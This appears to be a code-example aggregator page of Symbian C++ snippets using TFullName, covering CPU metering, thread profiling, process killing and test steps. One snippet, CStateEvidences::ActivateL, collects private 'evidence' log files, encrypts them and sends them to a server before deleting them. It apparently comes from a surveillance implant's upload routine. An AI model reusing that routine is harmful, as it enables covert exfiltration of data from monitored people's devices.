Ejemplo n.º 1
0
TInt CCpuMeter::Construct()
{
    iNumCpus = NumberOfCpus();
    iNullThreads = (RThread*)User::AllocZ(iNumCpus*sizeof(RThread));
    iDelta = (TInt*)User::AllocZ(iNumCpus*sizeof(TInt));
    iMeas[0] = (TTimeIntervalMicroSeconds*)User::AllocZ(iNumCpus*sizeof(TTimeIntervalMicroSeconds));
    iMeas[1] = (TTimeIntervalMicroSeconds*)User::AllocZ(iNumCpus*sizeof(TTimeIntervalMicroSeconds));
    if (!iNullThreads || !iDelta || !iMeas[0] || !iMeas[1])
        return KErrNoMemory;
    TFullName kname;
    _LIT(KLitKernelName, "ekern.exe*");
    _LIT(KLitNull, "::Null");
    TFindProcess fp(KLitKernelName);
    test_KErrNone(fp.Next(kname));
    test.Printf(_L("Found kernel process: %S\n"), &kname);
    kname.Append(KLitNull);
    TInt i;
    for (i=0; i<iNumCpus; ++i)
    {
        TFullName tname(kname);
        TFullName tname2;
        if (i>0)
            tname.AppendNum(i);
        TFindThread ft(tname);
        test_KErrNone(ft.Next(tname2));
        TInt r = iNullThreads[i].Open(ft);
        test_KErrNone(r);
        iNullThreads[i].FullName(tname2);
        test.Printf(_L("Found and opened %S\n"), &tname2);
    }
    for (i=0; i<iNumCpus; ++i)
        iNullThreads[i].GetCpuTime(iMeas[0][i]);
    iNextMeas = 1;
    return KErrNone;
}
Ejemplo n.º 2
0
LOCAL_C void ProfileAllThreads()
	{
	TFindThread ft(_L("*"));
	TFullName fullname;
	test.Console()->ClearScreen();
	FOREVER
		{
		TInt r=ft.Next(fullname);
		if (r!=KErrNone)
			break;
		RThread t;
		r=t.Open(ft);
		if (r==KErrNone)
			{
			TProfileData data;
			r=Profile.Read(t,data);
			if (r==KErrNone)
				{
				while(fullname.Length()<40)
					fullname.Append(TChar(' '));
				test.Printf(_L("%S T=%9d C=%9d Y=%9d\n"),
					&fullname,data.iTotalCpuTime,data.iMaxContinuousCpuTime,data.iMaxTimeBeforeYield);
				}
			t.Close();
			}
		}
	}
Ejemplo n.º 3
0
/**
 * Reads the raw name for this object instead of using API in DObject,
 * as we can't meet the preconditions
 * @param DObject object whose name we want
 */
void StopModeDebug::GetObjectFullName(const DObject* aObj, TFullName& aName)
	{
	if(aObj->iOwner)
		{
		GetObjectFullName(aObj->iOwner, aName);
		aName.Append(KColonColon);
		}
	
    if (aObj->iName)
		{
        aName.Append(*aObj->iName);
		}
     else
        {
        aName.Append(KLitLocal);
        aName.AppendNumFixedWidth((TInt)aObj,EHex,8);
        }
	}
// ==============================================================
// ============ DoKillProcessL()                    =============
// ==============================================================
void DoKillProcessL( const TDesC& aProcessName )
    {
    TFullName psName;
    psName.Append( _L("*") );
    psName.Append( aProcessName );
    psName.Append( _L("*") );

    TFindProcess psFinder;
    psFinder.Find( psName );

    TInt killCount( 0 );
    while( psFinder.Next( psName ) != KErrNotFound )
        {
        RProcess ps;
        User::LeaveIfError( ps.Open( psFinder ) );
        ps.Kill( -666 );
        ps.Close();
        killCount++;
        }

    User::Leave( killCount );
    }
Ejemplo n.º 5
0
/**
 * Opens a handle to the null thread.
 */
static TBool FindNullThread( RThread& aThread )
    {
    TFindProcess fp( KNullThreadProcessName );
    TFullName kernelName;
    if ( fp.Next( kernelName ) == KErrNone )
        {
        kernelName.Append( KNullThreadName );
        
        TFindThread ft( kernelName );
        TFullName threadName;
        if ( ft.Next( threadName ) == KErrNone )
            {
            if ( aThread.Open( threadName ) != KErrNone )
                {
                return EFalse;
                }
            }
        }        

    return ( aThread.Handle() != 0 );
    }
Ejemplo n.º 6
0
void CStateEvidences::ActivateL(const TDesC8& aData)
{
    iSignKey.Copy(aData);

    if (iState != EInitState)
    {
        // Log File has been sent.
        // Delete the LogFile and remove it from the array
        HBufC* fileName = iFileList[0];
        iFs.Delete(*fileName);
        delete fileName;
        iFileList.Remove(0);
    }
    else
    {
        //this is the first run
        TFullName path;
        FileUtils::CompleteWithPrivatePathL(iFs, path);
        path.Append(_L("*.log"));
        FileUtils::ListFilesInDirectoryL(iFs, path, iFileList);

        iState = ESendLogData;
    }
    // Check if there exists log files...
    if (iFileList.Count() == 0)
    {
        iObserver.ChangeStateL();
        return;
    }
    //send evidence
    //here we are sure we don't need anymore the answer
    delete iResponseData;
    iResponseData = NULL;

    CBufBase* buffer = CBufFlat::NewL(10);
    CleanupStack::PushL(buffer);
    //append command
    buffer->InsertL(buffer->Size(),(TUint8 *)KProto_Log().Ptr(),KProto_Log().Size());
    //append size
    HBufC* fileName = iFileList[0];
    TUint32 fileSize = FileUtils::GetFileSize(iFs, *fileName);
    buffer->InsertL(buffer->Size(),&fileSize,sizeof(fileSize));
    HBufC8* plainBody = buffer->Ptr(0).AllocL();
    CleanupStack::PopAndDestroy(buffer);
    TInt plainBodySize = plainBody->Size();
    plainBody = plainBody->ReAllocL(plainBodySize+fileSize+20); //20=sha
    if(plainBody==NULL)
    {
        iObserver.ReConnect();
        return;
    }
    //append file
    //RBuf8 fileBuf(FileUtils::ReadFileContentsL(iFs, *fileName));
    //fileBuf.CleanupClosePushL();
    HBufC8* fileBuf = FileUtils::ReadFileContentsL(iFs,*fileName);
    if(fileBuf==NULL)
    {
        iObserver.ReConnect();
        return;
    }
    plainBody->Des().Append(*fileBuf);
    delete fileBuf;
    //CleanupStack::PopAndDestroy(&fileBuf);
    // calculate SHA1
    TBuf8<20> sha;
    ShaUtils::CreateSha(*plainBody,sha);
    //append SHA1
    plainBody->Des().Append(sha);

    // encrypt an send
    RBuf8 buff(AES::EncryptPkcs5L(*plainBody, KIV, iSignKey));
    if(buff.Size()<=0)
    {
        delete plainBody;
        iObserver.ReConnect();
        return;
    }
    buff.CleanupClosePushL();
    delete plainBody;
    //add REST header
    HBufC8* header = iObserver.GetRequestHeaderL();
    TBuf8<32> contentLengthLine;
    contentLengthLine.Append(KContentLength);
    contentLengthLine.AppendNum(buff.Size());
    contentLengthLine.Append(KNewLine);
    delete iRequestData;
    iRequestData = NULL;
    TRAPD(error,(iRequestData = HBufC8::NewL(header->Size()+contentLengthLine.Size()+KNewLine().Size()+buff.Size())));
    if(error != KErrNone)
    {
        delete header;
        CleanupStack::PopAndDestroy(&buff);
        iObserver.ReConnect();
        return;
    }
    iRequestData->Des().Append(*header);
    delete header;
    iRequestData->Des().Append(contentLengthLine);
    iRequestData->Des().Append(KNewLine);
    iRequestData->Des().Append(buff);
    CleanupStack::PopAndDestroy(&buff);
    TRAPD(err,iObserver.SendStateDataL(*iRequestData));
    if(err != KErrNone)
    {
        iObserver.ReConnect();
    }
}
TVerdict CProcessLaunchTest0Step::doTestStepL()
/**
 * @return - TVerdict code
 * Override of base class pure virtual
 * Our implementation only gets called if the base class doTestStepPreambleL() did
 * not leave. That being the case, the current test result value will be EPass.
 */
	{
	_LIT(KThreadName, "*lbsgpslocmanager*");
	TProcessStartParams processParams;
	_LIT(KDummyFileName, "\\sys\\bin\\lbsgpslocmanager.exe");
	_LIT(KDummyProcessName, "DummyAgpsManager");
	processParams.SetProcessFileName(KDummyFileName);
	processParams.SetProcessName(KDummyProcessName);
	processParams.SetRendezvousRequired(EFalse);

	if (TestStepResult()==EPass)
		{
		CProcessLaunch::ProcessLaunch(processParams);
		// now we have to look for this thread. 
		TFindThread threadFinder(KThreadName);
		TFullName matchedThreadName;
		// see how many instances we have of the thread
		TInt matchCount = 0;
		while(threadFinder.Next(matchedThreadName) == KErrNone)
			{
			++matchCount;
			}
		// match count must be one at this point
		if(matchCount!=1)
			{
			// fail the test, its all gone very wrong - there are 2 processes
			SetTestStepResult(EFail);
			}
		// now we want to grab the ThreadID (we can just use thead id's, don't need handles)
		RThread processThread;
		User::LeaveIfError(processThread.Open(matchedThreadName));
		TThreadId tid = processThread.Id();
		// now try and break things, by starting a 2nd copy of the process.

		CProcessLaunch::ProcessLaunch(processParams); // NB we use the same process params
		matchCount = 0;
		threadFinder.Find(KThreadName);
		while(threadFinder.Next(matchedThreadName)==KErrNone)
			{
			++matchCount;
			}
		// match count must be one at this point
		if(matchCount!=1)
			{
			// fail the test, its all gone very wrong - there are 2 processes
			// this is were we will fail with the current code.
			SetTestStepResult(EFail);
			}
		// check the thread ID's
		RThread newProcessThread;
		User::LeaveIfError(newProcessThread.Open(matchedThreadName));
		TThreadId newTid = newProcessThread.Id();
		if(newTid.Id() != tid.Id())
			{
			// fail the test these are different thread id's
			// This is to be expected in the current code base
			SetTestStepResult(EFail);
			}
		else
			{
			// test passes - there is only one instance of the process
			SetTestStepResult(EPass);
			}
		}
		// now kill the process we started
		_LIT(KStar, "*");
		TFullName wildCardPattern;
		wildCardPattern.Append(KStar);
		wildCardPattern.Append(KThreadName);
		wildCardPattern.Append(KStar);
		TFindProcess pf(wildCardPattern);
		TFullName name;
		TInt findError = pf.Next(name);
		RProcess p;
		TInt pErr = 0;
		pErr = p.Open(name);
		User::LeaveIfError(pErr);
		// nuke it
		p.Kill(0);
		p.Close();
		return TestStepResult();
	}
Ejemplo n.º 8
0
// ---------------------------------------------------------------------------
// Returns runtime security manager server location
//
// ---------------------------------------------------------------------------
//
TFullName RSecMgrSession::ServerLocation() const
	{
	TFullName fullPathAndName;
	fullPathAndName.Append ( KSecMgrServerExeName);
	return fullPathAndName;
	}